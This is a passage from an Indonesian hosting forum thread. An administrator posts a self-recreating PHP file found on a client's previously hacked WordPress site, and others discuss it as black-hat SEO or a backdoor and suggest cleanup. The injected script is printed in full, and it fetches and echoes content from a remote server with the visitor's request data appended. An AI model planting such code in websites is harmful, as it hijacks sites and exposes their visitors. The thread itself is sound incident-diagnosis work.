ada yang tau script ini ??

[pangeran1995]

saya menemukan sebuah file aneh di website client isinya seperti ini

<?php
set_time_limit(0);

header("Content-Type: text/html;charset=gb2312");
date_default_timezone_set('PRC');
$Remote_server = "http://hulunbeier.xigua668.com/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($Remote_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

echo $Content_mb;

?>

=======================
karena script ini memakan EntryProses 100 dan Ram cukup tinggi 3Gb karena saya limit akun tersebut segitu
untuk CPU nol tanpa proses akan tetapi bagian bengkak hanya di entryproses dan Ram saja.
ketika saya hapus filenya dia akan membuat ulang file tersebut. ketika di ubah permission dari 0444 menjadi 0644 akan tetapi sama saja menjadi 0444 kembali setelah di reffress

mungkin ada yang ngalami??

 

[jaapns]

di chmod 0000 saja folder nya dari root

 

[Mylo Sepz]

pass buka http://hulunbeier.xigua668.com cuma tulisan OK
tapi pas buka http://hulunbeier.xigua668.com/index.php?host=google.com&url=google.com&domain=google.com
wew. itu mah setiap php dijalanin dia buka web http://hulunbeier.xigua668.com/index.php?host=google.com&url=google.com&domain=google.com
kayanya dia nyari visitor

 

[mas.satriyo]

pass buka http://hulunbeier.xigua668.com cuma tulisan OK
tapi pas buka http://hulunbeier.xigua668.com/index.php?host=google.com&url=google.com&domain=google.com
wew. itu mah setiap php dijalanin dia buka web http://hulunbeier.xigua668.com/index.php?host=google.com&url=google.com&domain=google.com
kayanya dia nyari visitor

script macem black seo bukan ya?
apa dari template/plugin/script nulled?

 

[Mylo Sepz]

script macem black seo bukan ya?
apa dari template/plugin/script nulled?

bisa jadi. pengen naikin visitor dengan cepat ya tinggal sisipin php diatas ke web orang. biasanya ya yang nulled-nulled atau dia backdoor terus sisipin deh.

 

[junior riau]

making own visitor sepertinya visitor generator

 

[mas.satriyo]

bisa jadi. pengen naikin visitor dengan cepat ya tinggal sisipin php diatas ke web orang. biasanya ya yang nulled-nulled atau dia backdoor terus sisipin deh.

soalnya nulled-er yg rada 'sopan' biasanya cuma nyisip backlink doang
kalo yg rusuh sih sekalian pasang backdoor
itu bisa re-create otomatis berarti ada 'temennya'
ada script autogenerate-nya

 

[dhyhost]

soalnya nulled-er yg rada 'sopan' biasanya cuma nyisip backlink doang
kalo yg rusuh sih sekalian pasang backdoor
itu bisa re-create otomatis berarti ada 'temennya'
ada script autogenerate-nya

berari induknya harus dihapus juga...
atau bisa di chmod aja ke 000 dari rootnya

 

[pangeran1995]

saya bertanya kepada pelanggan
dia bilang tidak nulled hanya aja pernah kena injeck di wordpressnya sebelum pindah hosting
dan saya cek ricek ternyata ada script bgtu

 

[pangeran1995]

soalnya nulled-er yg rada 'sopan' biasanya cuma nyisip backlink doang
kalo yg rusuh sih sekalian pasang backdoor
itu bisa re-create otomatis berarti ada 'temennya'
ada script autogenerate-nya

saya cari2 temennya gak ketemu.. padahal udah ubek2 semua folder